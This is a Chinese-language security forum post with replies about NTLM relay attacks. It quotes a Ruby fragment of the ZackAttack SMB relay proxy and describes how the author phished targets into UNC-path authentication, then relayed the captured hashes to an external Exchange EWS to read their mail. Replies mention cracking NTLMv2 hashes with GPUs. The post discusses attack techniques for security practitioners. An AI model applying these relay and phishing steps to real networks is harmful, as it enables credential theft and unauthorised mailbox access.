NTLM Relay to any protocol
发布于 4 个月前 阅读权限 无需登录 作者 darkray 774 次浏览 来自 案例分享

昨晚 https://blog.preempt.com/new-ldap-rdp-relay-vulnerabilities-in-ntlm 发了一个 LDAP Relay 与 RDP Relay 的Demo,趁着各大安全媒体还没跟进,随便吹两句牛b。

早前 Defcon20 的时候洋人发过一个工具叫 ZackAttack ,可惜后来这个工具烂尾了。再早些年间 WPAD attack + SMB Relay通行天下,杀WorkGroup也是一把好刀。其实工具的原理很简单,工具会起一个Socks Proxy,用于把接受的NetNTLM Hash重新封装到需要代理的新协议中,代码片段如下:

from https://github.com/urbanesec/ZackAttack/blob/master/lib/zfsocks.rb

elsif port.to_i==445 then
              begin
                TCPSocket.open(ip,445) do |relay|
                  Consuccess(cli)
                  type2 = nil
                  threada= Thread.start {
                    loop {
                      begin
                        q, x = cli.recvfrom(5000)
                        if q.length == 0 then break end
                        req = ZFsmb::Client.new(q)
                        req.smbpid = "\xfe\xde"
                        if (req.smbcmd == "\x73") then # SetupAndX / SPNEGO TIME!
                          #puts "setupandx"
                           
                          ntlmreq = ZFsmb::Parsentlmfromspnego(req.bdata)
                          ntlmmsg = ZFNtlm::Message.new(ntlmreq)

                          if ntlmmsg.type == 1 then # if type 1 send type2
                            # TODO pull type1 from db (and well...store type1s)
                            oldtype1msgtemp = "\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                            type1msgtemp =    "\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x01\x02\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                            ZFsmb::Smbclientntlmnego(relay, 1, type1msgtemp, "\x00\x00")

工具本身还包含了很多触发SMB请求的场景,比如HTML中内嵌UNC路径等,以及针对NetNTLM Hash验证的KeepAlive机制,很可惜这个工具烂尾了,曾经一度想拉起这个轮子。 后来 Blachat的议题 《SMB: Share more than your files》总结了一些攻击面,正好在以前的渗透工作中也能用到,所以就自己尝试实施一次类似的攻击。 目标在外网有Exchange Server,且对外开放EWS的访问。利用社会工程学发邮件给目标人员,促使其点击包含UNC路径的页面,发起NTLM验证请求之后,将获取的NetNTLM Hash Relay 到外网的EWS上,并通过EWS API来拉取邮件。 前不久从Mubix的推上看到CoreSec的Impacket组件添加了类似的Socks Proxy功能

https://github.com/CoreSecurity/impacket/commit/d285faf2eaa9d1bc74d9bd096a63e8d4b5756030 image.png

之中谈到未来SMB Relay的攻击面都会拓宽很多,果不然这后面不久 @PreemptSecurity 发布了他们的Demo。总结起来原理应该还是类似 NTML Relay to LDAP 或者 RDP 差不多,不过M$给出的CVE估计是因为绕过了LDAP签名机制的原因。

未来应该还会有更多的攻击场景产生,结合各类其他攻击技巧,又给各位安全工程师带来了新挑战 ;)

4 回复

SMB Relay配合WPAD确实逮谁杀谁,但是还是没那么HIGH。 抓到的HASH不能PTH,在现在普遍强制实行密码策略的情况下,破解纯粹靠运气,如果域用户权限给的合理的话也很难拿到其他机器的权限。不能完全说没什么卵用,但是确实有点鸡肋。

抓到NTLMv2,破解靠运气,前几天抓到几个NTLMv2,oclhashcat+1060GPU+6G字典,破解出一个。

回到顶部